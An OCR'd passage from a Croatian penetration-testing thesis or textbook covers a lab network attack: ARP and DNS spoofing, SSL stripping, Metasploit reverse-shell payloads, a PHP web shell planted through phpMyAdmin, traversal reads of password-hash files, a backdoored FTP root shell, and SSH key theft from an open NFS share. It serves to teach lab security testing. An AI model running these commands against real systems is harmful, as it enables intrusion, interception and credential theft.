220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.20.10:root): anonymous

331 Password required for anonymous
Password:

230 Logged on

Remote system type is UNIX.

fip»

Slika 12. Povezivanje Kali Linuxa sa sustavom Windows xp'®

16 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 157

25



Kada se to napravi ,u Wiresharku se mogu vidjeti paketi koji se Salju sa Kalija do Windows
xp-a i obrnuto, ali niSta drugo se ne bi trebalo vidjeti. Moze se isto napravit sa Windows
7 masinom kada se poveze na Windows xp, ali na njoj se nece vidjeti podaci od Kalija
prema Windows xp-u i obrnuto. Tako je dokazano da se odvija prava simulacija u switch
okruzju. Puni volumen mreznog prometa koji je zabiljezio Wireshark moze biti prevelik jer
je uz FTP promet snimljen i svaki drugi paket u ili iz Kali sustava. Za takve stvari mogu
se koristiti filtri te se u njih moze upisat FTP tako da se prate samo FTP paketi, ili kako bi
se to¢no odredila destinacija ili izvor paketa moZze se u filtru koristiti ip.dst==

192.168.20.10 da program vrati pakete koji pristizu na destinaciju Windows xp masine.
Moze se takoder Koristiti i kombinacija kao npr. ip.dst==192.168.20.10 and ftp da vrati
sve pakete namijenjene za Windows xp, ali samo one koiji koriste FTP protokol. Cak i
nakon filtriranja prometa, mozda postoji viSe FTP veza tijekom istog vremenskog okvira.
Kako bi se dobio pravi tijek slanja prometa, moZze se pritiskom desnog klika miSa na paket
odabrati Follow TCP Stream te e se prikazati puni sadrzaj FTP konekcije. Jo$ jedna
bitna stvar kod Wiresharka je da se klikom na neki paket moze vidjeti dodatne informacije

o prikupljenom prometu, kao Sto se vidi na slici 13.

Slika 13. Informacije o prikupljenom ftp paketu'”

17 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 157
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5.2 Trovanje ARP (eng. Address Resolution Protocol) cache-a

U prethodnom dijelu vidi se kako Wireshark nece prikazati podatke za neki drugi
uredaj, ako njemu ti podaci nisu namjenjeni. Svrha ARP Cache Poisoninga je da se
prekrsi to pravilo i provede tzv. MITM (Man-in-the-middle) napad kako bi se moglo prevarit
sustav da Salje podatke naSem uredaju koje poslije sam prosljeduje prema odredenoj
destinaciji. Prije nego Sto se paket moze poslati s Kali stroja na cilj sustava (Windows
XP), Kali mora preslikati IP adresu XP ciljanog sustava na njegovu MAC adresu na mrezi
mreznog sucelja (NIC) kako bi Kali znao gdje se nalazi mreza za slanje paketa. Najbolji
scenarij moze se prikazati na sljedeci nacin : Kali Linux upita lokalnu mrezu :"Tko ima IP
adresu 192.168.20.10? . Stroj s IP adresom 192.168.20.10 odgovara: "Imam
192.168.20.10, a moja MAC adresa je 00: Oc: 29: a9: ce: 92." (MAC adresa Windows xp
sustava). Kali ¢e zatim mapirati tu IP adresu sa tom MAC adresom u svom ARP cache-
u. Kad posalje sljedeci paket, Kali ¢e sustav prvo pogledati u svoj ARP cache za unos za
192.168.20.10 IP adresu. Ako ga pronade, upotrijebit Ce taj unos kao adresu cilja, umjesto

da $alje drugi ARP prijenos. ARP Cache Poisoning najbolje opisuje slika ispod.

Who has 192.168.20.102 Who has 192.168.20.10%

I(u||
(192.168.20.9)

| have 192.168.20.1

) M MAC uddress is
Metasploitable 2 Og:OC:ZQ:GQLce:QZ Windows 3P trgl

(192.168.20.11) (192.168.20.10)

Slika 14. Prikaz rada ARP protokola®

Za pregled ARP predmemorije u nasem Kali sustavu upiSe se arp i dobit Ce se nesto kao
8to je prikazano na slici br. 15. U njoj ¢e se trenutno nalaziti IP adresa od default gatewaya

(rutera) i Windows xp ciljnog sustava, te njihove korespondiraju¢e MAC adrese.

18 https://paragtailor.wixsite.com/infosec/single-post/2015/05/08/ARP-Cache-Poisoning-Attack-with-IP-
Forwarding
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root@kali:~# arp

Address HWtype HWaddress Flags Mask Iface
192.168.20.1 ether 00:23:69:f5:b4:29 ( etho
192.168.20.10 ether 00:0c:29:05:26:4c C etho

Slika 15. Pregled cache-a arp naredbom™

U slu€aju prikazanom na slici br. 15 zaboravlja se spomenuti jedna vrlo bitna stvar. Kali
stroj mora prosljediti sve pakete koje primi na njihovu odgovaraju¢u destinaciju. Bez
prosljedivanja IP-a, stvorit ¢e se uvjet za odbijanje usluge (DoS, skraceno od eng. Denial
of Service) na mrezi gdje zakoniti klijenti ne¢e moci pristupiti uslugama. Trovanje ARP
predmemorijom bez I[P prosljedivanja radi preusmjeravanja prometa prema
Metasploitable 2 stroju, uzrokovat ¢e problem za Windows xp sustav koji nikad nece
dobit potvrdu o pristiglom paketu od Metaspolitable 2 sustava te Ce se tako izazvati
sumnja. Kako bi se omogucilo prosljedivanje paketa u Kali Linuxu upisuje se komanda
echo 1 > /proc/sys/net/ipv4/ip_forward, koja ¢e vrijednost prosljedivanja stavit na 1
odnosno True i tako ju omogucit. Prije nego S$to se zapoc€ne trovanje ARP predmemorijom
treba se zapamtiti ulaz za Windows xp cilj u predmemoriji Linuxa. Ta ¢e se adresa

zamjeniti MAC adresom Kali Linuxa.

5.3 Trovanje predmemorije koristeci alat Arpspoof

Da bi se koristio Arpspoof, treba mu se reci koje mrezno sucelje Koristiti, cilj
napada ARP predmemoriranja i IP adresu koju se Zeli zamjeniti. Ako se npr. unutar
lokalne mreze Zeli prevariti Windows 7 masinu da smo “mi“ Windows xp masina koristi se
ova komanda (sa slike br.16.a), gdje se zastavicom -i specificira sucelje, a zastavicom -t
cilj (target). 192.168.20.11 oznaCavat ¢e IP adresu sustava koji se Zeli prevarit tj.
Windows 7, a 192.168.20.10 predstavljat ¢e adresu sustava kojeg se pretvaramo da

jesmo, tj. Windows xp.

19 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 162
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root@kali:~# arpspoof -i etho -t 192.168.20.11 192.168.20.10

Slika 16.a. Varanje sustava Windows 7 alatom arpspoof?°

Kako bi se konekcija odvijala u suprotnom smjeru treba se prevariti i sustav Windows xp
da misli kako smo sustav Windows 7, te ¢e se pri tome Koristiti komanda prikazana na

slici ispod.

root@kali:~# arpspoof -i etho -t 192.168.20.10 192.168.20.11

Slika 16.b. Varanje sustava Windows xp alatom arpspoof?!

5.4 Trovanje cache-a oponasajuéi ruter

Sliéno kao i prethodno, moze se Kkoristiti ARP Cache Poisoning kako bi se
oponasalo ruter i pristup prometa koji ulazi ili izlazi u lokalnu mrezu ukljuCujuci i promet
namjenjen internetu. PokuSavajuci prevariti Windows 7 u usmjeravanje cijelog prometa

na ruter kroz Kali sustav oponasajuéi zadani ruter, koristi se nesto sli¢no prikazano ispod.

root@kali:~# arpspoof -i etho -t 192.168.20.11 192.168.20.1

Slika 16.c. Oponas$anije rutera kako bi se prevarilo sustav Windows 722

Kao i prije potrebno je napravit oponasanje s obje strane tako da i ruter misli da Salje

podatke na sustav Windows 7, takoder prikazano slikom 16.d.)
root@kali:~# arpspoof -1 etho -t 192.168.20.1 192.168.20.11

Slika 16.d. Varanje rutera alatom arpsoof?3

20 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 164
21 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 164
22 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 166

23 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 166
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Kada bi surfali internetom preko Windows 7 sustava, sav bi se promet mogao dobiti preko
Wiresharka, pa €ak i osjetljive, Sifrirane informacije od HTTPS protokola koji je mnogo

sigurniji od samog HTTP protokola.

5.5 Dns Cache Poisoning

Na sli¢an nacin kako se izvodi ARP Cache Poisoning moze se sprovesti DNS
Cache Poisoning. DNS (Domain Name Service) mapira naziv domene sa njezinom IP
adresom. To mnogo olakSava posao, jer bi se inace moralo pamtit IP svake web domene.
Kada neki sustav npr. zeli pristupiti uslugi www.gmail.com, on ¢e najprije upitati lokalni
DNS server koja je adresa od doti¢ne stranice. Ako slu¢ajno lokalni DNS server nema IP
te stranice, on ¢e pitati na hijerarhiji vislji DNS server, npr. Googleov DNS da li ima IP
adresu. Taj vislji DNS server ¢e poslati lokalnom serveru IP adresu od stranice
www.gmail.com, a lokalni server ¢e zapamtit IP adresu te stranice kako ne bi morao
iznova pitat vrhovni DNS za adresu, te ¢e samu IP adresu poslati sustavu koji je trazio
pristup k njoj. Radi testa najbolje je pokrenuti apache server na Kali Linuxu sa komandom
service apache? start, koja e u browseru otvoriti stranicu na kojoj piste “It Works®. Prije
nego $to se upotrijebi alat za trovanje DNS predmemorije, mora se stvoriti datoteka koja
odreduje koja DNS imena se Zele ukloniti i gdje uputiti promet. Datoteka moze biti
proizvoljnog imena, ali kod vecine sustava one se zove host.txt, te ¢e slicno biti prikazano
dolje na slici. Na njoj se vidi kako je IP adresa za www.gmail.com zamjenjena adresom
Kali Linuxa.

root@kali:~# cat hosts.txt
192.168.20.9 www.gmail.com

Slika 17. Mijenjanje host datoteke kako bi se preusmijerio promet na Zeljenu lokaciju?*

5.6 Koristenje DNSspoof alata
Sada se moze poceti slati pokuSaje prikupljanja DNS predmemorije pomocu
alata Dnsspoof DNS spoofing. Komanda sli¢na ARP trovanju predmemorije na donjoj slici

predstavlja tipi¢ni nacin koristenja DNSspoof alata, gdje zastavica -i predstavlja sucelje,

24 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 169
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a -f datoteku koja je kreirana kako bi zamjenila IP adresu www.gmail.com IP adresom

Kali Linuxa.

root@kali:~# dnsspoof -i etho® -f hosts.txt®
dnsspoof: listening on etho [udp dst port 53 and not src 192.168.20.9]
192.168.20.11 » 75.75.75.75.53: 46559+ A? www.gmail.com

Slika 18. Primjer koristenja dnsspoof alata.

Da to uistinu radi moze se prikazati tako Sto se ode sa zrtvinog sustava i upiSe u browser
http://www.gmail.com. Ista Zrtva biti ¢e preusmjerena na stranicu postavljenu kod Kali
Linuxa (apache server). U Zrtvinom sustavu moze se upisati nslookup komanda da bi se

to vidilo da je uistinu tako, ¢ime je dokazan DNSspoof.

5.7 SSL (skra¢eno od eng. Secure Sockets Layer) napad

Do sada je pentester bio u stanju presresti Sifrirani promet, ali nije uspio izvuci
osjetljive podatke iz Sifrirane veze. Kod SSL napada treba postojati i odredena doza srece
te vjerovati kako ¢e korisnik kliknuti na odredenu stranicu unato€ certifikatovom oprezu i
tako omoguciti napadacu da ukrade povijerljive informacije u plaintext (otvoreni tekst)
formatu. SSL radi na nacin kada osoba klikne na neku web stranicu, SSL omogucuje da
se veza izmedu onoga tko ju uspostavlja i stranice na koju se treba oti¢i odvija u Sifriranom
obliku. Kada korisnik ode na neku stranicu zasti¢enu SSL-om provjerava se certifikat koji
se dobiva od strane zaduzene za administraciju certifikata kao npr. VeriSign. Certifikat
sadrzi par enkripcijskih klju€eva i informacije o identifikaciji. Ako web preglednik prihvati
certifikat, on obavjeStava posluzitelj, a server vraca digitalno potpisano priznanje i
zapocinje SSL zasti¢ena komunikacija. Ako se certifikatu ne moze “vjerovati“ onda se na

stranici pojavi obavjest: “Veza je mozda sigurna, ali mozda nije. Nastavite na vlastiti rizik“.

5.8 Ettercap za SSL Man-in-the-middle napad
Ettercap je viSenamjenski paket za napade izmedu “Covjeka koji se nalazi u
sredini, a osim SSL napada pruza napade kao $to su ARP i DNS trovanje predmemorije.

Sigurna SSL veza npr. moZe se prekinuti preusmjeravanjem prometa sa www .gmail.com
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na na$ Kali sustav kako bi se presrele osjetljive informacije. Kao sto je vec¢ reCeno
Ettercap radi na slican nacin kao prethodni napadi pa se moZe koristiti komanda sa slike
br. 19, gdje zastavica -Ti specificira tekstualno sucelje, a -M zastvica sa arp:remote
/gateway/ /target/ predstavlja koristenje ARP trovanja predmemorije izmedu rutera i

adrese zrtvinog sustava.

root@kali:~# ettercap -Ti etho -M arp:remote /192.168.20.1/ /192.168.20.11/

Slika 19. Prikaz rada alata ettercap za MITM napad?®

Npr. kada osoba Zeli i¢i na stranicu www.facebook.com, tamo Ce joj se prikazati
upozorenje certifikata za nesigurnu konekciju. Ako se ima srece i osoba to ignorira te
upiSe svoje povjerljive informacije u facebook login, Ettercap moze presjesti te informacije
i vratit ih u plaintext formatu. Prikaz jednog takvog nesigurnog certifikata vidi se na

sljedecoj slici.

Add Security Exception

/8 You are about to override how Firefox identifies this site.

4 * . Legitimate banks, stores, and other public sites will not
ask you to do this.

Server

Location: | https:/www.facebook.comy | |Get Cemﬁcalg

Certificate Status

This site attempts to identify itself with invalid | View,
information

Unknown Identity

Certificate is not trusted, because it hasn't been verified by a
recognized authority.

M permanently store this exception

Confirm Security Exception o(:ancel |

Slika 20. Primjer nesigurnog certifikata?®
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5.9 SSL stripping

Mana prethodnog “Man-in-the-middle” napada lezi bas u tome $to sami certifikati
Cesto zaustavljaju korisnike da posjecuju takve nesigurne stranice. Iskustvo pentestera
je pokazalo da kod manualnih mijenjanja certifikata, korisnik i dalje nece biti toliko naivan
i pristupit Zeljenoj stranici nego kod validnih certifikata ili onih koji ne koriste HTTPS
protokol. Ovisno i o internet pretrazivacu dopustanje logiranja na takve “kompromitirane”
stranice moze varirati. Sa SSL skidanjem, posreduje se HTTP vezi prije nego $to se ona
preusmjeri na SSL i dodaje se SSL funkcionalnost prije slanja paketa na web posluZitel].
Kad web-posluZzitelj odgovori, uklanjanje SSL-a ponovno presre¢e promet i uklanja se
HTTPS oznaka prije slanja paketa klijentu. Vecina korisnika ne upisuje npr.
https://www.facebook.com ili ¢ak http://www.facebook.com u svoje preglednike, oni
upisuju www.facebook .com ili ponekad samo facebook.com i zbog toga je ovaj napad
moguc¢. Za koriStenje SSL stripa prije nego $to se pokrene, treba se postaviti pravilo
iptables za prolazak prometa koji se krece do porta 80 kroz SSLstrip. Zatim se pokrene
SSL strip na portu 8080,a zatim se ponovno pokrene Arpspoof i truje se ruter kao sto je

prikazano na slici ispod.

root@kali:# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Slika 21. Postavljanje IP tablice?’

Kada se naprave prethodni koraci zapocinje se SSL strip te mu se nareduje da slu$a na
portu 8080 Sto se ostvaruje komandom sslistrip -1 8080. Moze se naposljetku testirati SSL
strip na bilo kojem Zrtvinom sustavu na mreZi tako da se upiSe bilo kakva stranica u
preglednik, a web browser ¢e “nas” prebacit na stranicu koja koristi nezasti¢eni HTTP
protokol. Na taj nain mozZe se izbjeCi nepotrebna upozorenja da se koristi nevaljan
certifikat.

27 Georgia Weidman - Penetration testing: A Hands-On Introduction to Hacking, 2014., str. 174
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6. EKSPOLATACIJA

U pentest fazi iskoriStavanja, pentesteri koriste eksploatacije protiv ranjivosti koje
su ranije otkrivene kako bi pristupili ciljnim sustavima. U ovoj fazi prisje¢a se svih onih
exploita koji su ranije otkriveni za Windows sustave kao zastarjeli ms08-067 patch,
problemi sa SLMail POP3 serverom, problemi zadanih (defaultnih) lozinki za XAMPP, a
mogu se Koristiti i FTP eksploatacije i problemi sa SSH serverom. Za vecinu ovih

iskoristivosti najbolje je koristiti posebno napravljen alat za pentestere, a to je metasploit.

6.1 Metasploit

Metasploit je penetracijski testni okvir koji hakiranje Cini jednostavnim. To je
osnovno sredstvo za brojne napadace i one koji Stite sustav. Radi na nacin da se usmjeri
Metasploit na svoj cilj, odabere exploit , nacin na koji ¢e se on izvrsiti i moze se pocet sa
iskoristavanjem. Metasploit payloadi (hrv. korisni teret je nosivost paketa ili druge
podatkovne jedinice za prijenos) omogucuju da se kaze iskoristenom sustavu da radi
stvari u naSe ime. Vecina payloada su bind shellovi, koje sluSaju na lokalnom portu na
cilinom stroju, ili reverse shellovi, koje pozivaju natrag napadaci sustav, ostali payload-i
obavljaju odredene funkcije. Postoje razni payload-i, od onih koji uzrokuju vibriranje
mobitela na Iphone uredajima, do dodavanja korisnika na Windows sustavima, ali samo

o nekima najvaznijima ¢e ovdje biti rijeC.

6.2 Payload (korisni teret)

U raCunarstvu, payload predstavlja nosivost paketa ili druge podatkovne jedinice
za prijenos. Izraz ima svoje korijene u vojsci i Cesto je povezan sa sposobnoséu izvrSnog
zlonamjernog koda za nanoSenje Stete. U kontekstu zlonamjernog softvera, payloadi se

obi€no odnose na zlonamjerni kod koji Steti ciljanoj Zrtvi.
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6.2.1 Vrste payloada i objasnjenja
Vecinu dostupnih payloada u Metasploitu mozZe se vidjeti sa komandom show
payloads kao root u Msfconsole (su€elje za upravljanjem Metasploitom). Na slici br. 22

vidljivi su neki payloadi.

windows/shell/reverse_tcp  normal Windows Command Shell, Reverse TCP Stager
windows/shell reverse tcp normal Windows Command Shell, Reverse TCP Inline

Slika 22. Prikaz nekih payload-a?®

Windows/shell/reverse _tcp payload je stage payload posto sadrzi / §to odvaja shell i
reverse_tcp payload. Stage payload znacCi da on ne sadrzi sve instrukcije kako bi vratio
povratni (reverse shell). Umjesto toga stage payload sadrZi dovoljno informacija samo da
se poveZe natrag do napadacevog sustava i upita Metasploit za daljne instrukcije. Takav
payload uglavnom ima handler da se uspije povezati natrag na napadacev sustav i izvrsi
ostatak payloada. Staged payload nije ograni¢en memorijom, ali opéenito je zauzima
manje od tzv. inline payloada. Inline payload-i sadrZe sve potrebne informacije da vrate
reverse shell do napadaca. Oni uglavhom sadrze sve informacije i zauzimaju manje
memorije od samih stage payload-a, te su stabilniji. Razlike izmezu staged i inline

paylodova nazire se u znaku /.

6.2.2 Meterpreter

On se ucitava izravno u memoriju iskoriStenog procesa pomocu tehnike poznate
kao reflektirajuce dll injekcije. Meterpreter kao takav ostaje u memoriji i ne piSe nista na
disk. Pokrece se u memoriji glavnog racunala, tako da ne treba pokrenuti novi proces koji

moze biti prijeCen od strane sustava za zastitu od provale.
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6.3 IskoriStavanje defaultnih kredencijala WebDAV-a

Kao $to je u fazi prikupljanja informacija ustanovljeno da kod sustava Windows
xp XAMPP podrzava defaultni pristup WebDAV-u koristeci korisnicko ime wampp, te
lozinku xampp za autentifikaciju. No ustanovljeno je da ima instaliran i phpMyadmin
pomocu kojeg se mogu uploadati skripte na server. Kako bi se vidjelo da je to moguce u
praksi moze se koristiti alat cadaver za komunikaciju sa WebDAV-om koriste¢i komandu
cadaver http://192.168.20.10/webdav, te sa komandom put uploadati $togod Zelimo. Ova

situacija prikazana je slikom ispod.

root@kali:~¥ cadaver http://192.168.20.10/webdav dav: /webdav/> put test.txt

Authentication required for XAMPP with WebDAV on server "192.168.20.10': Uploading test.txt to */webdav/test.txt':
llsername: wampp
Password:

dav: fwebdav/s

Progress: [ |
dav: fwebdav/>

Slika 23.a. Koristenje alata cadaver?® Slika 23.b. Stavljanje skripte na web3°

Na slican naCin moze se uploadat msfvenom payload, a dostupni payloadi za msfvenom
mogu se dobiti sa komandom msfvenom -I payload, gdje zastavica -l specificira popis
payloada. Kada se upi$e ta komanda mogu se koristiti razni payloadi tipa php/bind_perl
koji kreira shell, php/download_exec koji skida i izvrSava fajl na sustavu,
php/meterpreter/bind_tcp za koridtenje meterpretera te jo§ mnogi drugi. Kada se odabere
payload npr. php/meterpreter/reverse_tcp (prikazan slikom ispod), moze se i stavit

zastavica -0 koja ¢e govori koje opcije su potrebne radi izvrSavanja tog payloada.

rootikali:~# msfvenom -p php/meterpreter/reverse tcp -o
[*] Options for payload/php/meterpreter/reverse tcp

snip
Mame Current Setting Required Description

LHOST yes The listen address
LPORT 4444 yes The listen port

Slika 24. Opcije za php/meterpreter/reverse_tcp payload-a®'’
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|z gornje slike vidljivo je da payload zahtjeva LHOST i LPORT. LHOST “govori” payloadu
na koju IP napadacevu adresu da se javi, a LPORT-om se moze promjeniti port. Kada su
opcije napravlijene dobije se slika prikazana ispod, gdje zastavica -f specificira ispis

“sirovih” infomacija u datotetku pod nazivom meterpreter.php.

root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHO5T=192.168.20.9
LPORT=2323 -f raw » meterpreter.php

Slika 25. Postavljanje payload-a3?

Nadalje kao $to je prikazano u testhom djelu, naredbom put meterpreter.php u WebDAV-
u omogucava se upload datoteke meterpreter.php na server. Kod ovog payloada treba
naglasiti da je on “staged” te o€ekuje daljnje instrukcije, stoga se treba postaviti “handler”
u Msfconsole kako bi se dohvatio payload prije neg se izvrsi skripta. Sve priloZzeno vidljivo

je na slici br. 26.

msf » wse multifhandler

msf exploit(handler) » set payload php/meterpreter/reverse tcpt
payload =» php/meterpreter/reverse tep

msf exploit(handler) > set LWOST 192.168.20.9@

lhost =» 192.168.20.9

msf exploit(handler) » set LPORT 23238

Iport =» 2323

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.20.9:2323

[*] starting the payload handler...

Slika 26. Koristenje “multi handlera“®?

Pokretanje payloada otvaranjem u web-pregledniku trebalo bi otvoriti meterpreter sesiju

kada se napadac vrati u msfconsole Sto se vidi na slici br. 27.a).
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[*] Sending stage (39217 bytes) to 192,168.20.10

[*] Meterpreter session 2 opened (192.168.20.9:2323 -» 192.168.20.10:1301) at
2015-01-07 17:27:44 -0500

meterpreter »

Slika 27.a. Izgled dobivene meterpreter sesije3

U meterpreter sesiji moze se koristiti komanda getuid da bi se vidjele privilegije koje je

napadac ostvario nad Zrtvinim sustavom.

meterpreter » getuid
BOOKXPASYSTEM

Slika 27.b. Getuid naredba3®

Zadnja slika govori kako je komandom getuid napadac ostvario sistemske privilegije nad

iskoriStenim softverom.

6.4 IskoriStavanje otvornog phpMyAdmin servera

Kada se koriste ranjivosti otvorenog phpMyAdmina, napada¢ moZe slati
komande na server baze podataka. Sli¢no kao i kod WebDAV-a, iskoristene privilegije ¢e
varirati ovisno o tome da li je MySQL server instaliran kao Windows usluga ili privilegije
mogu biti od korisnika koji je zapoCeo MySQL proces. Kod koristenja takvog napada,
najprije napadac odlazi do web adrese http://192.168.20.10/phpmyadmin, te klikne na
SQL tab na vrhu. Ovdje ¢e biti prikazano SQL SELECT naredba koja se koristi za ispis
PHP skripte u datoteku na web posluzitelju, $to ¢e omoguciti daljinsku kontrolu ciljanog
sustava. Sintaksa za ovu komandu biti ée SELECT "<niz znakova skrpte>" <ispis u "put

do datoteke da web serveru">. Izgled ove narebe prikazan je slikom br. 28.
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SELECT "<?php system{$ GET['omd']}; 7»" into outfile "C:\\xampp\\htdoecs\\shell.php"

Slika 28. Jednostavan SELECT upit za phpMyAdmin bazu podataka3®

Na gornjoj slici <? php system ($ _ GET [cmd']); ?> naredba se koristi kako bi se preuzeo
cmd parametar iz URL-a, te ga se izvrS§i pomoc¢u naredbe system (). ,Kada se ode na
lokaciju http://192.168.20.10/shell.php. skripta treba izbaciti pogreSku: “Upozorenje:
system () [function.system]: Ne moZete izvrSiti praznu naredbu u retku C: \ xampp \ htdocs
\ shell.php, zato §to naredba system() zahtjeva parametar koji se samostalno moze
odredit. Npr. ode se na stranicu http://192.168.20.10/shell.php?cmd=ipconfig i pita
ipconfig za internetske informacije sustava. Na sli¢an nacin kao i prethodni napad moze
se umjesto stvaranja dugog i kompliciranog SQL SELECT upita, hostati datoteku na Kali
uredaju, a zatim je pomocu PHP shella povuci na web posluzitelj, ali o tome nece biti

rijeC ovdje.

6.5 Skidanje osjetljive datoteke

Ako se pronade Zervit posluZitelj na portu 3232 koji ima problem s prelaskom
direktorija, on ¢e omoguciti preuzimanje datoteka s udaljenog sustava bez autenti¢nosti.
Moze se preuzeti Windows konfiguracijsku datoteku boot.ini upisivanje linka
http://192.168.20.10:3232/index.html?../../../../../../boot.ini u browser. Na taj nadin mogu
se skinuti hash lozinke (enkriptirane lozinke) za Windows sustave, kao i instalirane

usluge.

6.6 Skidanje konfiguracijskih datoteka

FileZilla FTP server koji se kod Windows xp sustava nalazi na putu
C:\xampp\FileZillaFtp ¢uva MDS5 hash lozinke u FileZilla Server.xml konfiguracijskoj
datoteci, koje se ovisno o snazi FTP lozinke u datoteci moze iskoristiti zajedno sa MD5
hash vrijednosti kako bi se pribavile korisne informacije. Skidanjem Zervit servera sa

lokacije
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http://192.168.20.10:3232/index.html?../../../..]..I..Ixampp/FileZillaFtp/FileZilla%20Server.
xml moze pruziti dobar uvid u povjerljive informacije kao $to su korisni¢ko ime, lozinka u

hash formatu, korisnicki limit, IP limit i sli¢no.

6.7 IskoriStavanje prekoracenja buffera kod softvera sa treée strane

U fazi prikupljanja informacija o ranjivostima nije pronadeno da li je SLMail server
za Windows xp sustav ranjiv na POP3 problem. Ranjivost Windows / pop3 /
seattlelab_pass pokusava iskoristiti prekoracenje buffera na POP3 posluZitelju. Njegova
upotreba sli¢na je eksploataciji MS08-067. Za koriStenje ovog exploita koristi se klju¢na
rije€C use, odnosno puna komanda je use Windows/pop3/seattlelab _pass. Naravno
potrebno je joS odabrati payload koji moze biti i u ovom slucaju
Windows/meterpreter/reverse_tcp, odnosno komanda set payload Windows/meterpreter/
reverse_tcp. Podaci o payload-u dobivaju se komandom show options, te kada se ispune
oni koji su obavezni (eng. Required) upiSe se komanda exploit. Pokretanje ovog

iskoriStavanja trebalo bi napadacu dati meterpreter sesiju..

6.8 Iskoristavanje kompromitiranog servera

FTP posluzitelj moze imati vrlo sigurni FTP 2.3.4, a verzija je zamijenjena
binarnom datotekom koja sadrzi backdoor odnosno tehniku u kojoj se mehanizam zastite
sustava neprimjetno zaobilazi kako bi se pristupilo radunalu ili njegovim podacima.
Pentesteri se ne trebaju brinuti o potencijalnom padu usluge ako nije ranjiv. Ako ovaj
posluzitell nema backdoor, jednostavno c¢e se prikazati greSka prilikom prijave
koriStenjem smijeSka : ). Instrukcije su sljedec¢e : Unese se bilo koje korisni¢ko ime i doda
se :) na kraju. Za lozinku se upotrijebi bilo Sto. Ako je prisutan backdoor, aktivirat ¢e se
bez valjanih kredencijala. Npr. kada se pentester zZeli povezati na FTP, onda u Kali Linuxu
upiSe komandu ftp <IP adresa sustav na koji se Zeli spojit>, upiSe se zatim bilo kakva
Sifra za kompromitirani server. Ako prijava visi nakon lozinke, to znaci da FTP posluzitel;
jo$ uvijek obraduje poku$aj prijave, a ako se ponovno upita FTP port, nastavit ¢e
odgovarati. Kada se napravi sve prethodno re¢eno moze se provijeriti da backdoor zbilja
“djeluje“ kada se pentester pokusa spojit koristeéi netcat na port 6200. Netcat komanda

za provjeru vidi se na slici br. 29.
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root@kali:~# nc 192.168.20.11 6200
# whoami
root

Slika 29. Netcat alat sa komandom whoami3’

6.9 Iskoristavanje otvorenih NFS dijeljenja (eng. Share)

Moze se dogoditi da ciljni sustav eksportira home folder koji koristi NFS i taj e
dio dostupan svima bez potrebe za unoSenjem kredencijala. Taj home folder moze
sadrzavati korisnikove privatne SSH kljueve, kao i kljuCeve koji se koriste za provjeru
autenti¢nosti korisnika preko SSH protokola. Zamislimo scenarij da neki korisnik
“Georgia“ ima jedan takav folder. Takva ranjivost moze se iskoristiti koriste¢i komande sa

slike br.30.a), na kojoj je prikazano “montiranje“NFS-a.

root@gkali:~# mkdir /tmp/mount
root@kall:~# mount -t nfs -0 nolock 192.168.20.11:/export/georgla /tmp/mount

Slika 30.a. Montiranje NFS-a%

S obzirom da direktorij nema mnogo osjetljivih informacija, moze se gledati dalje tj. u .ssh
direktorij. Kada se prebacimo u ssh dikretorij komandom prikazanoj na slici br. 30.b),

moZze se koristiti /s naredba za izlistavanje ssh kljuceva.

root@kali:~# cd Ftmp/mount/.ssh
root@kali:tap/mounts . sshit 1s
authorized keys id rsa id rsa.pub

Slika 30.b. Lociranje na potrebno mjesto za ssh klju¢eve3®
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The id_rsa klju€ koji se dobije ovdje predstavlja privatni klju¢, a id_rsa.pub je njemu
korespondirajuci javni klju€. Pentester nadalje moze mijenjati vrijednosti kljuceva ili ih
dodavati u SSH datoteku authorized keys. Takoder zbog ranije iskoristenih slabosti
napadacC ima sistemske privilegije i moze dodati vlastite kljuCeve koje ¢e mu omoguciti

uspjesSnu autentifikaciju.
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7. NAPADI NA LOZINKE

Klijent s jakim sigurnosnim programom moze popraviti nedostatke za Windows i
zastarjeli softver, ali korisnici sami mogu imati nedostataka. Nacin odabira pogadanja Sifri
moze rezultirati uspjeSnim upadom u sustav bez izravnog napadanja. Vecina kompanija
se §titi od rizika provjerom autenti¢nosti na temelju lozinke, medutim brute force napad ili
sluCajno pogadanje moze rezultirati upadom u sustav. Mnoge organizacije Koriste
biometriju (otisak prsta, skeniranje mreznice) ili dvofaktorsku provjeru autenti¢nosti za
ublazavanje tih rizika. Primjer slozene autentifikacije mozZe biti i ona koju primjenjuje
Coinbase, a ona uklju€uje provjeru sigurnosnog koda koji se Salje na broj mobitela, sama

autorizacija putem email servisa, te pogadanje Sifre radi zastite svojih klijenata.

7.1 Napad na online lozinke

Kao i prethodni napadi gdje je prikazano iskoriStavanje ranjivosti sustava,
pentester i ovamo moZze generirati skriptu za prijavu u ciljni sustav. Za to se koristi tehnika
koja se naziva brute forcing, odnosno metodu poku$aja i pogreSke koja se koristi za
dobivanje podataka poput korisnicke lozinke ili osobnog identifikacijskog broja (PIN). Alati
koji koriste brute forcing isprobavaju svaku moguéu kombinaciju korisni€kog imena i
zaporke, a s obzirom na dovoljno vremena, naéi Ce valjane kredencijale. Mana
bruteforcinga je ta $to ¢e utroSak vremena na probijanje dugacke i komplicirane Sifre biti
ogroman, pa moze ¢ak trajati i cijeli Zivotni vijek (naravno to ¢e ovisit 0 samim hardverskim

predispozicijama sustava napadaca).

7.1.1 Koristenje rije€nika za probijanje lozinke

Prije nego se zapocCne koristenje alata za pogadanje lozinki, potreban je popis
kredencijala koju Ce pokusSati haker koristiti kao svoju bazu za pogadanje lozinki. Pri
vlastitom kreiranju rje€nika prvo se pokusa odrediti korisnikova moguca korisnicka imena.
Na primjer, ako to pentester testira neku kompaniju, idealan rje¢nik bi sadrzavao imena i
prezimena zaposlenika, iako se rje€nik moze pronaci i na internetu koji sadrzi Cesta
